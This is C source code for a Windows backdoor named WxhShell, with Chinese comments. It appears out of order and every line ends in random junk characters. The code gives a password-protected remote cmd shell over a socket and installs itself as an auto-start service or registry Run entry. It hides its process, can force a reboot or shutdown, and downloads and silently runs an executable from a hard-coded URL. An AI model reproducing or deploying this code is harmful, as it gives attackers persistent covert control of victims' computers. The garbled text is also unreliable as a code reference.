    closesocket(wsh); UwtOlV:G{  
    ExitThread(0); Bp\io$(%  
    } C>cc!+n%H  
    break; R#~}ZUk2  
    } o^~6RZ  
  // 关机 Gb 61X6  
  case 'd': { &Pxt6M\d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i=_leC)rl  
    if(Boot(SHUTDOWN)) /Nq!^=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~J2-B2S!  
    else { 322W"qduTZ  
    closesocket(wsh); Qv8#{y@U  
    ExitThread(0); T\c;Ra  
    } ?>MD/l(l  
    break; DHpU?;|3  
    } m6V1m0M  
  // 获取shell 5X&<+{bX  
  case 's': { Bir }X  
    CmdShell(wsh); oSNB\G<  
    closesocket(wsh); %9M; MK  
    ExitThread(0); D{o1G?A  
    break; yP0P-8  
  } iM2 EEC  
  // 退出 fEs957$  
  case 'x': { `'Ta=kd3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;t%L (J  
    CloseIt(wsh); |PH]0.m5  
    break; 1 hZM))  
    } y:4Sw#M%(  
  // 离开 ;0E"4(S.q1  
  case 'q': { j-gLX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;TSnIC)c  
    closesocket(wsh); CkoPno  
    WSACleanup(); 6uDA{[OH  
    exit(1); f<SSg* A;  
    break; x+B~t4A  
        } X1<)B]y  
  } Y'f I4  
  } 'G(N,vu[@  
oE#HI2X  
  // 提示信息 P},S[GaZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %fP^Fh   
} ~b\7 qx_a9  
  } JoW*)3Z  
_zh}%#6L  
  return; UShn)3F  
} U]vNcQj  
(/YC\x?  
// shell模块句柄 u4VQx,,  
int CmdShell(SOCKET sock) ]&/jvA=\l,  
{ ibzYY"D:  
STARTUPINFO si; rShi"Yw  
ZeroMemory(&si,sizeof(si)); *(?YgV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O#O~A |  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #a#~YSnG  
PROCESS_INFORMATION ProcessInfo; "EEE09~l\  
char cmdline[]="cmd"; 0nx <f>n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C,2IET  
  return 0; h83ho  
} D\({]oj]  
7vr)JT=  
// 自身启动模式 TeqFy(Dr  
int StartFromService(void) "]c:V4S#`A  
{  (i*1M  
typedef struct ?[!.TU?4N  
{ ) 2S0OY.  
  DWORD ExitStatus; ""pJO 6bI  
  DWORD PebBaseAddress; $L</{bXW  
  DWORD AffinityMask; {(a@3m~a%  
  DWORD BasePriority; 3kR- WgVF,  
  ULONG UniqueProcessId; ^Jnp\o>  
  ULONG InheritedFromUniqueProcessId; R2]?9\II  
}   PROCESS_BASIC_INFORMATION; @2$PU{dH  
[-6j4D  
PROCNTQSIP NtQueryInformationProcess; qgZ(o@\  
!YJdi~q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AX'(xb,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7h&xfrSrD  
twgU ru  
  HANDLE             hProcess; 0?p_|X'_  
  PROCESS_BASIC_INFORMATION pbi; Y2<#%@%4  
ULU ]k#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #S<>+,Lk  
  if(NULL == hInst ) return 0; }GkEv}~t  
nWXI*%m5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :Hd?0eZ|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CWBsiL f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,}{E+e5jh7  
=Rb,`%  
  if (!NtQueryInformationProcess) return 0; $Fr2oSTT)  
M8juab%y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rcI(6P<*  
  if(!hProcess) return 0; ;uoH+`pf  
K?I@'B'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "#4PU5.  
I">z#@CT  
  CloseHandle(hProcess); P:*'x9`  
ZlO@PlZ)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uaU!V4-  
if(hProcess==NULL) return 0; 7ZZSAI  
2A`EFk7_X  
HMODULE hMod; P45q}v  
char procName[255]; ke3=s  
unsigned long cbNeeded; a S<JsB  
6 Dg[ b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  h@W}xT  
|d%Dw^  
  CloseHandle(hProcess); QyHUuG|g  
y|MW-|0=!  
if(strstr(procName,"services")) return 1; // 以服务启动 =HoiQWQs`  
Mm6 (Q  
  return 0; // 注册表启动 7FMHz.ZRE  
} %{}Jr`  
3tr?-l[N\  
// 主模块 $ng\qJ"HF  
int StartWxhshell(LPSTR lpCmdLine) #h r!7Kc;N  
{ U Ciq'^,  
  SOCKET wsl; 1]hMA\x  
BOOL val=TRUE; )3..7ht3^5  
  int port=0; <CA lJ  
  struct sockaddr_in door; PKjA@+  
iicrRGp3  
  if(wscfg.ws_autoins) Install(); ie$=3nZJ}  
~!:F'}bj  
port=atoi(lpCmdLine); m2_&rjGz  
^1Yx'ua'  
if(port<=0) port=wscfg.ws_port; {.!:T+'Xi\  
mDM]RAub)  
  WSADATA data; "jeJV,%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -Q$$2QW!  
5n9F\T5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "%.#/!RG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3}h&/KN{  
  door.sin_family = AF_INET; a#raUF7e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8AefgjE  
  door.sin_port = htons(port); ]AHUo;(f%  
x&9 I2"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <c\aZ9+V  
closesocket(wsl); B]Zsn`n  
return 1; LG,RF:  
} ^ 1J;SO|  
n:#ji|wM  
  if(listen(wsl,2) == INVALID_SOCKET) { Xp{gh@#dr  
closesocket(wsl); JGO>X|T  
return 1; $~:hv7%  
} 4uu*&B  
  Wxhshell(wsl); u*9C(je  
  WSACleanup(); }XXE hOO  
k"sL.}$  
return 0; QY^ y(I49  
EI_J7J+  
} tXp)o >"  
2XI%4  
// 以NT服务方式启动 SA/0Z=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,U2D &{@  
{ \/$v@5  
DWORD   status = 0; r} ,|kb  
  DWORD   specificError = 0xfffffff; &pmJ:WO,h  
hqBwA1](a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |RjjP 7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \4vFEJSh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xeHu-J!P  
  serviceStatus.dwWin32ExitCode     = 0; ?&X6VNbU  
  serviceStatus.dwServiceSpecificExitCode = 0; sP+S86 u  
  serviceStatus.dwCheckPoint       = 0; ' l!QGKz  
  serviceStatus.dwWaitHint       = 0; lhjPS!A~  
|QzPY8B9O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nB:Bw8U"Q  
  if (hServiceStatusHandle==0) return; T4f:0r;^f*  
mWGT (`|~/  
status = GetLastError(); Awr]@%I  
  if (status!=NO_ERROR) 5S7Z]DXiT8  
{ CY 7REF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v(t&8)Uu  
    serviceStatus.dwCheckPoint       = 0; | 'z)RFqj  
    serviceStatus.dwWaitHint       = 0; m# SZI}  
    serviceStatus.dwWin32ExitCode     = status; :qT>m  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3AB5Qs<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~}M{[6!  
    return; keWgbj  
  } "Km`B1f`  
CjST*(,b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <y'ttxeS  
  serviceStatus.dwCheckPoint       = 0; Fj&vWj`*  
  serviceStatus.dwWaitHint       = 0; %(e=Q^=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _ Po9pZ  
} N&ddO-r[s  
WI6er;D  
// 处理NT服务事件,比如:启动、停止 K{iay g!k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9z-"JnM  
{ pTN_6=Y"  
switch(fdwControl) zCQv:.0L  
{ TxiJ?sDh*  
case SERVICE_CONTROL_STOP: DBv5Og  
  serviceStatus.dwWin32ExitCode = 0; es6e-y@e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pE`( kD  
  serviceStatus.dwCheckPoint   = 0; \UC4ai2MK  
  serviceStatus.dwWaitHint     = 0; 1rKR=To  
  { .DX#:?@4@Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [Dt\E4  
  } awawq9)Y  
  return; O@$hG8:  
case SERVICE_CONTROL_PAUSE: 3gM{lS}h#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  qJK^i.e  
  break; 2cDC6rul  
case SERVICE_CONTROL_CONTINUE: IR>K ka(B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "E8!{  
  break; LNg1q1 P3  
case SERVICE_CONTROL_INTERROGATE: K)14v;@  
  break; !uZ+r%  
}; ]MHQ "E?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &B.r&K&  
} dn5v|[dJ  
q{@Wn]!k  
// 标准应用程序主函数 s R~&S))  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %z.G3\s0  
{ %z2nas$$g  
F+6ZD5/  
// 获取操作系统版本 p!691LI  
OsIsNt=GetOsVer(); Ky'^AN]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u)V*o  
PQ[TTLG\&  
  // 从命令行安装 K4rr.f6  
  if(strpbrk(lpCmdLine,"iI")) Install(); q+DH2&E'  
fg9sZ%67]\  
  // 下载执行文件 _I!Xr!!)a0  
if(wscfg.ws_downexe) { _x \Ll?,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lAGxE-B^a"  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5bAXa2Vt  
} WDX?|q9rCt  
#[si.rv->  
if(!OsIsNt) { H z6H,h  
// 如果时win9x,隐藏进程并且设置为注册表启动 q[#\qT&QU  
HideProc(); u1"e+4f  
StartWxhshell(lpCmdLine); 9@j~1G%^  
} i" )_M|   
else l?~ci ;lG  
  if(StartFromService()) lz*PNT{E  
  // 以服务方式启动 :X!(^ a;]  
  StartServiceCtrlDispatcher(DispatchTable); b^xf ,`D  
else ~ U1iB  
  // 普通方式启动 SN+Bmdup  
  StartWxhshell(lpCmdLine); W@G[ gS\T  
i~,k2*o  
return 0; Zu$f[U)X  
} )FP|}DCxQ  
|B n=$T]  
.$yw;go3  
Q\oUZnD$=  
=========================================== }}2 kA  
5A)w.i&V  
GBQb({  
`%=Jsi0.Nq  
bXW)n<y  
J.&q[  
" sH]AB =_  
ZMe|fn  
#include <stdio.h> 3x'30  
#include <string.h> X+3)DE\2  
#include <windows.h> )&9 =)G  
#include <winsock2.h> N!v@!z9Mu  
#include <winsvc.h> ArEpH"}@  
#include <urlmon.h> y(R*Z^c}d,  
!G,$:t1-=V  
#pragma comment (lib, "Ws2_32.lib") ^Pf&C0xXv  
#pragma comment (lib, "urlmon.lib") Fv: %"P^  
h <M7[p=  
#define MAX_USER   100 // 最大客户端连接数 98]t"ny [  
#define BUF_SOCK   200 // sock buffer 0 mQ3P.9  
#define KEY_BUFF   255 // 输入 buffer HB}gn2 .1&  
$7r wara  
#define REBOOT     0   // 重启 KH7]`CU  
#define SHUTDOWN   1   // 关机 KCFwO'  
mx[^LaR>v  
#define DEF_PORT   5000 // 监听端口 o`U\Nhq  
VB#31T#q?  
#define REG_LEN     16   // 注册表键长度 ? 1{S_  
#define SVC_LEN     80   // NT服务名长度 @Otc$hj  
KC u6:)6'  
// 从dll定义API ^ZlV1G;/W@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Rf^cw}jU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {q)B@#p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JXAyF6 $  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zJ:r0Bt  
&>jkfG  
// wxhshell配置信息 C{Ug ?hVP  
struct WSCFG { U{_s1  
  int ws_port;         // 监听端口 ^;3rdBprm  
  char ws_passstr[REG_LEN]; // 口令 CJOl|"UyJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]aRD6F:L  
  char ws_regname[REG_LEN]; // 注册表键名 qWpCe*C  
  char ws_svcname[REG_LEN]; // 服务名 &V3oW1*W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gdK/:%u3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $.1'Ym  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >FHsZKJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -IS9uaT5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /RC!Yi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 de6dLT>m  
nnNg^<[k3  
}; t4*A+"~j  
%MJ7u}  
// default Wxhshell configuration 0q>lW &J  
struct WSCFG wscfg={DEF_PORT, ;5k|gW  
    "xuhuanlingzhe", ~K96y$ DTE  
    1, )R@gnTe  
    "Wxhshell", -],?kP  
    "Wxhshell", cQ41NX@I  
            "WxhShell Service", orHD3T%&  
    "Wrsky Windows CmdShell Service", 5r<(Z0  
    "Please Input Your Password: ", j*u9+.   
  1, 0_ \ g  
  "http://www.wrsky.com/wxhshell.exe", h /QP=Zd  
  "Wxhshell.exe" ug,|'<G+  
    }; 4Jr[8P0/A9  
X@&uu0JJ  
// 消息定义模块 wKlCx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #6jwCEo=V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &] 6T^.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; --YUiNhh  
char *msg_ws_ext="\n\rExit."; mJ>99:W+  
char *msg_ws_end="\n\rQuit."; (VAL.v*  
char *msg_ws_boot="\n\rReboot..."; j2 ^T:q[  
char *msg_ws_poff="\n\rShutdown..."; BDRVT Y(s  
char *msg_ws_down="\n\rSave to "; Vk_&W.~  
t)Q @sKT6  
char *msg_ws_err="\n\rErr!"; ('-}"3  
char *msg_ws_ok="\n\rOK!"; X9A[  
|a$w;s>\  
char ExeFile[MAX_PATH]; ]~Vu-@ /}  
int nUser = 0; #ljg2:I+  
HANDLE handles[MAX_USER]; 9:i,WJO  
int OsIsNt; (y=o]Vy  
FTnQqDuT  
SERVICE_STATUS       serviceStatus; K=?F3tX^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]C6[`WF  
idS RWa  
// 函数声明 QeJ.o.m{  
int Install(void); _ 1> 4Q%  
int Uninstall(void); %OW9cqL>l  
int DownloadFile(char *sURL, SOCKET wsh); Yb3f]4EH  
int Boot(int flag); p}DF$k%`  
void HideProc(void); xO-U]%oq  
int GetOsVer(void); $A@3ogoS&  
int Wxhshell(SOCKET wsl); bM0[V5:jB  
void TalkWithClient(void *cs); NND=Z xl  
int CmdShell(SOCKET sock); !K3cf]2UD  
int StartFromService(void); v6-~fcX0G  
int StartWxhshell(LPSTR lpCmdLine); ' xZPIj+  
K}<!{/fi)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M|#5gKXd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z)i1?#  
([CnYv  
// 数据结构和表定义 x<j"DS}S)D  
SERVICE_TABLE_ENTRY DispatchTable[] = ?U/Wio$@  
{ `6N-MsP  
{wscfg.ws_svcname, NTServiceMain}, Y+u-J4bj  
{NULL, NULL} UxcDDa/j2T  
}; 8C,utjy  
ObyuhAR  
// 自我安装 ho]!G498  
int Install(void) MupW=3.38  
{ Y `7#[g  
  char svExeFile[MAX_PATH]; #!Cter2  
  HKEY key; #G  +  
  strcpy(svExeFile,ExeFile); -Bo~"q  
hRa(<ZK  
// 如果是win9x系统,修改注册表设为自启动 #f3;}1(  
if(!OsIsNt) { BZ;}ROmqk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ym.l@(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rs F3#H  
  RegCloseKey(key); G(OT"+O,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nN`Z0?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '<&EPUO  
  RegCloseKey(key); -)O kG#J@  
  return 0; B.mbKntK)R  
    } ]6B mCh  
  } *Qg5Z   
} ZE8/ m")  
else { &[ u6oAR  
.eabtGO,  
// 如果是NT以上系统,安装为系统服务 R=amKLD?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4-+ozC{  
if (schSCManager!=0) #A/]Vs$  
{ t&9as}  
  SC_HANDLE schService = CreateService RCh$j&Tn  
  ( =,d* {m~A  
  schSCManager, Y%)h)El  
  wscfg.ws_svcname, w38c  
  wscfg.ws_svcdisp, NB3Syl8g  
  SERVICE_ALL_ACCESS, XiRT|%j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C9mzg  
  SERVICE_AUTO_START, %O&m#)|  
  SERVICE_ERROR_NORMAL, sUbz)BS#.  
  svExeFile, :PD`PgQ  
  NULL, `\ef0  
  NULL, }(+=/$C"#  
  NULL, uZo`IKJ  
  NULL, ].-J.  
  NULL up &NCX  
  ); d{2 y/  
  if (schService!=0) Im?= e  
  { Oj"pj:fB  
  CloseServiceHandle(schService);  !u53 3  
  CloseServiceHandle(schSCManager); {\svV 0)~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -7k|6"EwM  
  strcat(svExeFile,wscfg.ws_svcname); K$<`4#i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5%QC ][,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4+5OR&kxZ  
  RegCloseKey(key); hJ;f1dZ7}  
  return 0; s!@=rq  
    } {UdcX~\~  
  } x&R9${e%  
  CloseServiceHandle(schSCManager); \ W 'i0+  
} CGd[3}"  
} GJC!0{8;  
*(d6Z#  
return 1; s%N`  
} Mhv1K|4s  
}fJ:wku  
// 自我卸载 rnn2u+OG   
int Uninstall(void) {d 1N&  
{ QiTR-M2C!  
  HKEY key; abROFI5.L  
$u; >hk  
if(!OsIsNt) { @V* ju  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~aJW"\{  
  RegDeleteValue(key,wscfg.ws_regname); YY#s=  
  RegCloseKey(key); - E8ntY-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5\akI\  
  RegDeleteValue(key,wscfg.ws_regname); r~$}G-g  
  RegCloseKey(key); }osHA`x"2  
  return 0; dThR)Z'=  
  } x|@1 wQ" 6  
} V3>f*Z)xn  
} s[G |q5n  
else { Wl& >6./{  
a^*cZ?Ta  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <XQN;{xSa  
if (schSCManager!=0) SON ^CvMs{  
{ ; x:k-s2-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6R1wn&8  
  if (schService!=0) ku/\16E/k  
  { (dzH3_U  
  if(DeleteService(schService)!=0) { J3/\<=Qh  
  CloseServiceHandle(schService); [x;(cISK1  
  CloseServiceHandle(schSCManager); Ku<b0<`  
  return 0; gYTyH.  
  } 2{A;du%&  
  CloseServiceHandle(schService); ,|T*|2Gm  
  } M82.khm~jM  
  CloseServiceHandle(schSCManager); 8hTR*e! +  
} <|{L[  
} pN\)(:"8v  
9W{,=.%MX$  
return 1; K&=1Ap  
} RLdl z  
)KSisEL  
// 从指定url下载文件 :/o C:z\h  
int DownloadFile(char *sURL, SOCKET wsh) { 1+Cw?1d  
{ A",eS6  
  HRESULT hr; i\t753<Ys  
char seps[]= "/"; xS= _yO9-  
char *token; <8u>_o6  
char *file; o3Mf:;2cC  
char myURL[MAX_PATH]; R%>jJ[4\[  
char myFILE[MAX_PATH]; b8rp8'M)  
W|)GV0YM  
strcpy(myURL,sURL); 99<4t$KH  
  token=strtok(myURL,seps); E% <w5d.lq  
  while(token!=NULL) v<L=!-b^  
  { nd.57@*M  
    file=token; J.1O/Pw!.a  
  token=strtok(NULL,seps); S5uJX#*;  
  } H_VEPp,T  
Yo>`h2C4  
GetCurrentDirectory(MAX_PATH,myFILE); x&at^Fp  
strcat(myFILE, "\\"); CQ@LmTW[  
strcat(myFILE, file); $Mdbt o~<  
  send(wsh,myFILE,strlen(myFILE),0); LtC~)R  
send(wsh,"...",3,0); R<"2%oY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %tT"`%(+  
  if(hr==S_OK) Z;ZuS[ZA  
return 0; !\QeBd+  
else wk" l[cH>  
return 1; 3(1 ]FKZtt  
b6 $,Xh  
} hS4.3]ei  
dZPW2yf  
// 系统电源模块 x>}B#  
int Boot(int flag) EJ1Bq>u7  
{ ARPKzF`Wq  
  HANDLE hToken; 10mK}HT>4B  
  TOKEN_PRIVILEGES tkp; }7K@e;YUg  
z8IPhE@  
  if(OsIsNt) { ^;.T}c%N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4w 'lu"U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `,+#!)  
    tkp.PrivilegeCount = 1; Z;#%t.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "[k1D_PZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ful#Px6m  
if(flag==REBOOT) { FC6xFg^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x Sv-;!y  
  return 0; <>%,}j 9  
} M(yH%i^A  
else { *'6s63)I2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  Do|]eD  
  return 0; y<TOqn  
} <3b'm*  
  } k^z0Lo|)'  
  else { =4eUAeH {w  
if(flag==REBOOT) { #,G1R7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _IWxYp  
  return 0; 2d-{Q 8Pi  
} cgyp5\*>+  
else { K4 C ^m|e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |pJC:woq  
  return 0; ',GV6kt_k  
} o7.e'1@  
} $*k)|4  
^ oYPyk`9  
return 1; %;7.9%  
} z 5'ZN+  
X/l;s  
// win9x进程隐藏模块 o+NMA (  
void HideProc(void) Q $]YD pCM  
{ y,Jh@n';|  
k0L] R5W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %Uy%kN_&  
  if ( hKernel != NULL ) Y(_KizBY  
  { E!zX)|Z<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C}q>YRubZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .jA\f:u#  
    FreeLibrary(hKernel); Z^+rQ.%n"&  
  } qe?Qeh(!X  
uMvb-8  
return; g5i#YW  
} []zua14F6  
8'_ 0g[s  
// 获取操作系统版本 /prYSRn8  
int GetOsVer(void) <?YA,"~  
{ 9t?L\  
  OSVERSIONINFO winfo; Vo\H<_=G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >)NQH9'1  
  GetVersionEx(&winfo); eX"''PA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eJHp6)2  
  return 1; 3+ =I;nj  
  else mk%b9Ko<F  
  return 0; f8=]oa]  
} 6W&_2a7*  
?1peF47Z  
// 客户端句柄模块 zPR8f-Uvw  
int Wxhshell(SOCKET wsl) %m eLW&  
{ ,X68xk.'  
  SOCKET wsh; eCWPhB 6l  
  struct sockaddr_in client; dQD$K|aUp  
  DWORD myID; sHdp  
_\\ -md:  
  while(nUser<MAX_USER) M(enRs3`O  
{ L2fZ{bgy  
  int nSize=sizeof(client); )T1iN(Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }^Gd4[(,g  
  if(wsh==INVALID_SOCKET) return 1; :_xh(W+2<  
&$=!dA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); */(I[p  
if(handles[nUser]==0) l1A5Y5x9=  
  closesocket(wsh); <r~wZ}s  
else [}-3PpF  
  nUser++; xzm@ v(  
  } )6-9)pH@)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [ ny6W9  
ZSB?Y 1wG  
  return 0; l+zb~  
} AOb]qc  
L%t@,O#,  
// 关闭 socket m|O1QM;T  
void CloseIt(SOCKET wsh) $i#?v  
{ 7&U&E|  
closesocket(wsh); 6S1m<aH6  
nUser--; 8]bz(P#  
ExitThread(0); bMm3F%FFq&  
} 'c %S!$P  
d(;4`kd*N  
// 客户端请求句柄 D."=k{r.  
void TalkWithClient(void *cs) %d2!\x%bG  
{ BI/&dKM  
I4=Xb^Ux  
  SOCKET wsh=(SOCKET)cs; @0NJ{  
  char pwd[SVC_LEN];  |yKud  
  char cmd[KEY_BUFF];  &;c>O  
char chr[1];  )h_8vO2  
int i,j; (dqCa[  
=-#G8L%Q  
  while (nUser < MAX_USER) { MsOs{2 )2  
h/)_) r.x  
if(wscfg.ws_passstr) { asVX82<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hH>``gK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G$bJ+  
  //ZeroMemory(pwd,KEY_BUFF); !yJICjXj  
      i=0; wRvb8F 0  
  while(i<SVC_LEN) { )d`mvZBn1  
Da.G4,vLh  
  // 设置超时 Ak@Dyi?p  
  fd_set FdRead; [ MyE2^  
  struct timeval TimeOut; UzG[:ic%  
  FD_ZERO(&FdRead); mJ5H=&Z  
  FD_SET(wsh,&FdRead); S,jZ3^  
  TimeOut.tv_sec=8; 4_^[=p/R  
  TimeOut.tv_usec=0; nh.32q]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pQa:pX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ' cIEc1y  
/7"I#U^u/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FX}Gt=  
  pwd=chr[0]; ezm&]F`  
  if(chr[0]==0xd || chr[0]==0xa) { n3KI+I%nQ  
  pwd=0; ZZxk]D<  
  break; :"1|AJo)  
  } ]a'99^?\  
  i++; Um` !%  
    } W 7sn+g \  
[?0d~Q(R#  
  // 如果是非法用户,关闭 socket cU.9}-)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4hs)b  
} eiVC"0-c}  
L|j%S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !&^gaUa{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A7Po 3n%Q  
vB\]u.  
while(1) { !l@zT}i??  
P-`(0M7^  
  ZeroMemory(cmd,KEY_BUFF); 9+=gke  
u]*0;-tz  
      // 自动支持客户端 telnet标准   % Zjdl  
  j=0; <0P5 o|  
  while(j<KEY_BUFF) { 8\.b4FNJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yk!/ow@.  
  cmd[j]=chr[0]; 0RFRbi@n(  
  if(chr[0]==0xa || chr[0]==0xd) { I\O\,yPhhP  
  cmd[j]=0; 3uWkc3  
  break; 4?\:{1X=  
  } 49H+(*@v@  
  j++; !69&Ld  
    } WKfkKk;G  
&7e)O=  
  // 下载文件 qet>1<  
  if(strstr(cmd,"http://")) { 8^/I>0EZ  
